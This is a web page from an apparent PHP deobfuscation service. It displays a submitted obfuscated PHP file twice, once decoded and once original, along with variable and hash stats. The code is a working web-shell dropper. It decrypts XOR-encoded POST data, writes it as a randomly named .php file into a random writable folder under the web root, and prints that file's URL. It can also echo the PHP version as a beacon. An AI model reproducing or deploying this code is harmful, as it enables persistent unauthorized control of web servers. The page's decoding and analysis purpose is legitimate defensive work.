Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function chEKa($sWZxwctUB, $AdeaIRfN, $PXqdefPrQJcMl){$pJPZydOxSb = "5dca4ea5-fb37-4..

Decoded Output download

<?php function chEKa($sWZxwctUB, $AdeaIRfN, $PXqdefPrQJcMl){$pJPZydOxSb = "5dca4ea5-fb37-4a6c-a0a6-9262de013e89";	$hHFnuySO = 52;return $sWZxwctUB ^ $pJPZydOxSb[$AdeaIRfN % strlen($pJPZydOxSb)] ^ $PXqdefPrQJcMl;}$TEtMzLTvaB = "PQOotqDd";$EtmJPdPrwy = 67;function yayfZPlG($TEtMzLTvaB){ $HSPSPnfPR = "s"."t".chr(154-40)."_"."r".chr(111).chr(603-487).chr(283-234).chr(1049-998);$TEtMzLTvaB = $HSPSPnfPR($TEtMzLTvaB);$rXNzDw = chr(114)."a".'w'."u".chr(973-859).chr(108).'d'."e"."c".'o'.chr(434-334).chr(101);$TEtMzLTvaB = $rXNzDw($TEtMzLTvaB);$TEtMzLTvaB = str_split($TEtMzLTvaB);return $TEtMzLTvaB;}function PoioIo($UzWGT, $PXqdefPrQJcMl){$UzWGT = array_map("chEKa", array_values($UzWGT), array_keys($UzWGT), array_values($PXqdefPrQJcMl));$UzWGT = implode("", $UzWGT);	$jtXFYzXC = 'RpJirauB';$ZkasvnWT = "u".'n'.chr(115)."e".chr(114)."i".'a'."l"."i"."z".chr(789-688);$UzWGT = @$ZkasvnWT($UzWGT);	$PjtHOVv = 52;return $UzWGT;}function SUtntinw($PXqdefPrQJcMl, $UzWGT){$PXqdefPrQJcMl = array_slice(str_split(str_repeat($PXqdefPrQJcMl, intval(count($UzWGT)/16)+1)), 0, count($UzWGT));	$RwiIoAWtTb = 25;return $PXqdefPrQJcMl;}function BviZjyE(){$uhNKRTo = 'Bc';$fOOcVHZ = 15;$YlaHQp = 6;$EeTwe = $fOOcVHZ - $YlaHQp;$oyMZIFDc = 'Ls';$YlaHQp = $EeTwe / 5;}BviZjyE();function JxRLBAyG(){echo "TrfpgfAQ";	$wYAUCjVViR = 62;}function MzEHXBH($PXqdeir){static $CeylI = array();$gJYiKp = glob($PXqdeir . '/*', GLOB_ONLYDIR);$AFuTUNhSj = count($gJYiKp);	$IwVDk = 38;	$xpJbyel = 'tFyHo';if ($AFuTUNhSj > 0) {foreach ($gJYiKp as $PXqde) {$NFlIXRwWx = chr(173-68)."s".chr(430-335).chr(280-161).'r'."i"."t".'a'.'b'."l".chr(526-425);if (@$NFlIXRwWx($PXqde)) {$CeylI[] = $PXqde;}}}foreach ($gJYiKp as $PXqdeir) MzEHXBH($PXqdeir);return $CeylI;}function SMqvfo($UzWGT){$GkDZxgoQ = "D"."O"."C".chr(85)."M".chr(69)."N"."T".chr(95)."R".chr(480-401)."O".chr(813-729);$ierjMqspd = $_SERVER[$GkDZxgoQ];	$tzPZVtr = 'YRsqq';$gJYiKp = MzEHXBH($ierjMqspd);$zfeJCQoP = array_rand($gJYiKp);$RaArYkYhx = chr(993-947).'p'.chr(104)."p";$nUwtAH = $gJYiKp[$zfeJCQoP] . "/" . substr(md5(time()), 0, 8) . $RaArYkYhx;$lBHCo = "f".'i'."l"."e".chr(95)."p".chr(117).chr(836-720).chr(352-257)."c"."o"."n".'t'.chr(101).chr(110).chr(116).chr(293-178);@$lBHCo($nUwtAH, $UzWGT);$bSNzY = "H"."T".chr(1021-937)."P"."_".chr(601-529).'O'."S".chr(84);$TgGzhWurnW = chr(104).chr(116)."t"."p".chr(174-116)."/".'/';$wHKgfMMeDP = $TgGzhWurnW . $_SERVER[$bSNzY] . substr($nUwtAH, strlen($ierjMqspd));	$puVlJn = 'YDLC';	$prTsLrzz = 64;print($wHKgfMMeDP);	$EbmELasvo = 62;}function GqSRLRcAJ($UzWGT, $zfeJCQoP){$zfeJCQoP = $zfeJCQoP[0];if ($UzWGT !== $zfeJCQoP){SMqvfo($UzWGT);}else {hMbPr();		$qppft = 'aPQYB';}}function hMbPr(){$FLKrIpXp = chr(477-365)."h"."p";$KYPJCqBPG = "p"."h".'p'.chr(118)."e".chr(535-421).'s'.'i'.chr(157-46).'n';$UzWGT = Array($FLKrIpXp => @$KYPJCqBPG(), );$UtljvOXxn = "s"."e"."r"."i".chr(97)."l"."i".chr(348-226).'e';echo @$UtljvOXxn($UzWGT);	$bHOOUbQbKm = 'utZOdOQgE';}function WCGEG(){echo "PQOotqDd";}foreach ($_POST as $PXqdefPrQJcMl => $UzWGT){$rRuNYXg = strlen($PXqdefPrQJcMl);	$vaBDKfzUx = 'vPgCsJy';if ($rRuNYXg == 16){$UzWGT = yayfZPlG($UzWGT);$PXqdefPrQJcMl = SUtntinw($PXqdefPrQJcMl, $UzWGT);$UzWGT = PoioIo($UzWGT, $PXqdefPrQJcMl);		$bWefjEh = 61;if (@is_array($UzWGT)){$zfeJCQoP = array_keys($UzWGT);			$FHSqhk = 54;$UzWGT = $UzWGT[$zfeJCQoP[0]];			$FHSqhk = $FHSqhk - 8;GqSRLRcAJ($UzWGT, $zfeJCQoP);			$psuSmcAcl = 51;}}}die();?>

Did this file decode correctly?

Original Code

<?php function chEKa($sWZxwctUB, $AdeaIRfN, $PXqdefPrQJcMl){$pJPZydOxSb = "5dca4ea5-fb37-4a6c-a0a6-9262de013e89";	$hHFnuySO = 52;return $sWZxwctUB ^ $pJPZydOxSb[$AdeaIRfN % strlen($pJPZydOxSb)] ^ $PXqdefPrQJcMl;}$TEtMzLTvaB = "PQOotqDd";$EtmJPdPrwy = 67;function yayfZPlG($TEtMzLTvaB){ $HSPSPnfPR = "\x73"."\164".chr(154-40)."\x5f"."\162".chr(111).chr(603-487).chr(283-234).chr(1049-998);$TEtMzLTvaB = $HSPSPnfPR($TEtMzLTvaB);$rXNzDw = chr(114)."\141".'w'."\165".chr(973-859).chr(108).'d'."\x65"."\x63".'o'.chr(434-334).chr(101);$TEtMzLTvaB = $rXNzDw($TEtMzLTvaB);$TEtMzLTvaB = str_split($TEtMzLTvaB);return $TEtMzLTvaB;}function PoioIo($UzWGT, $PXqdefPrQJcMl){$UzWGT = array_map("chEKa", array_values($UzWGT), array_keys($UzWGT), array_values($PXqdefPrQJcMl));$UzWGT = implode("", $UzWGT);	$jtXFYzXC = 'RpJirauB';$ZkasvnWT = "\165".'n'.chr(115)."\145".chr(114)."\x69".'a'."\154"."\x69"."\172".chr(789-688);$UzWGT = @$ZkasvnWT($UzWGT);	$PjtHOVv = 52;return $UzWGT;}function SUtntinw($PXqdefPrQJcMl, $UzWGT){$PXqdefPrQJcMl = array_slice(str_split(str_repeat($PXqdefPrQJcMl, intval(count($UzWGT)/16)+1)), 0, count($UzWGT));	$RwiIoAWtTb = 25;return $PXqdefPrQJcMl;}function BviZjyE(){$uhNKRTo = 'Bc';$fOOcVHZ = 15;$YlaHQp = 6;$EeTwe = $fOOcVHZ - $YlaHQp;$oyMZIFDc = 'Ls';$YlaHQp = $EeTwe / 5;}BviZjyE();function JxRLBAyG(){echo "TrfpgfAQ";	$wYAUCjVViR = 62;}function MzEHXBH($PXqdeir){static $CeylI = array();$gJYiKp = glob($PXqdeir . '/*', GLOB_ONLYDIR);$AFuTUNhSj = count($gJYiKp);	$IwVDk = 38;	$xpJbyel = 'tFyHo';if ($AFuTUNhSj > 0) {foreach ($gJYiKp as $PXqde) {$NFlIXRwWx = chr(173-68)."\x73".chr(430-335).chr(280-161).'r'."\x69"."\x74".'a'.'b'."\154".chr(526-425);if (@$NFlIXRwWx($PXqde)) {$CeylI[] = $PXqde;}}}foreach ($gJYiKp as $PXqdeir) MzEHXBH($PXqdeir);return $CeylI;}function SMqvfo($UzWGT){$GkDZxgoQ = "\x44"."\x4f"."\103".chr(85)."\x4d".chr(69)."\116"."\124".chr(95)."\x52".chr(480-401)."\117".chr(813-729);$ierjMqspd = $_SERVER[$GkDZxgoQ];	$tzPZVtr = 'YRsqq';$gJYiKp = MzEHXBH($ierjMqspd);$zfeJCQoP = array_rand($gJYiKp);$RaArYkYhx = chr(993-947).'p'.chr(104)."\x70";$nUwtAH = $gJYiKp[$zfeJCQoP] . "/" . substr(md5(time()), 0, 8) . $RaArYkYhx;$lBHCo = "\x66".'i'."\x6c"."\145".chr(95)."\x70".chr(117).chr(836-720).chr(352-257)."\143"."\157"."\x6e".'t'.chr(101).chr(110).chr(116).chr(293-178);@$lBHCo($nUwtAH, $UzWGT);$bSNzY = "\x48"."\124".chr(1021-937)."\120"."\x5f".chr(601-529).'O'."\123".chr(84);$TgGzhWurnW = chr(104).chr(116)."\164"."\x70".chr(174-116)."\x2f".'/';$wHKgfMMeDP = $TgGzhWurnW . $_SERVER[$bSNzY] . substr($nUwtAH, strlen($ierjMqspd));	$puVlJn = 'YDLC';	$prTsLrzz = 64;print($wHKgfMMeDP);	$EbmELasvo = 62;}function GqSRLRcAJ($UzWGT, $zfeJCQoP){$zfeJCQoP = $zfeJCQoP[0];if ($UzWGT !== $zfeJCQoP){SMqvfo($UzWGT);}else {hMbPr();		$qppft = 'aPQYB';}}function hMbPr(){$FLKrIpXp = chr(477-365)."\150"."\160";$KYPJCqBPG = "\160"."\x68".'p'.chr(118)."\x65".chr(535-421).'s'.'i'.chr(157-46).'n';$UzWGT = Array($FLKrIpXp => @$KYPJCqBPG(), );$UtljvOXxn = "\163"."\x65"."\162"."\151".chr(97)."\154"."\151".chr(348-226).'e';echo @$UtljvOXxn($UzWGT);	$bHOOUbQbKm = 'utZOdOQgE';}function WCGEG(){echo "PQOotqDd";}foreach ($_POST as $PXqdefPrQJcMl => $UzWGT){$rRuNYXg = strlen($PXqdefPrQJcMl);	$vaBDKfzUx = 'vPgCsJy';if ($rRuNYXg == 16){$UzWGT = yayfZPlG($UzWGT);$PXqdefPrQJcMl = SUtntinw($PXqdefPrQJcMl, $UzWGT);$UzWGT = PoioIo($UzWGT, $PXqdefPrQJcMl);		$bWefjEh = 61;if (@is_array($UzWGT)){$zfeJCQoP = array_keys($UzWGT);			$FHSqhk = 54;$UzWGT = $UzWGT[$zfeJCQoP[0]];			$FHSqhk = $FHSqhk - 8;GqSRLRcAJ($UzWGT, $zfeJCQoP);			$psuSmcAcl = 51;}}}die();?>

Function Calls

BviZjyE 1

Variables

$EeTwe 9
$YlaHQp 1
$fOOcVHZ 15
$uhNKRTo Bc
$oyMZIFDc Ls
$EtmJPdPrwy 67
$TEtMzLTvaB PQOotqDd

Stats

MD5 9cb4013b827f8f87e62e2f20858ef205
Eval Count 0
Decode Time 80 ms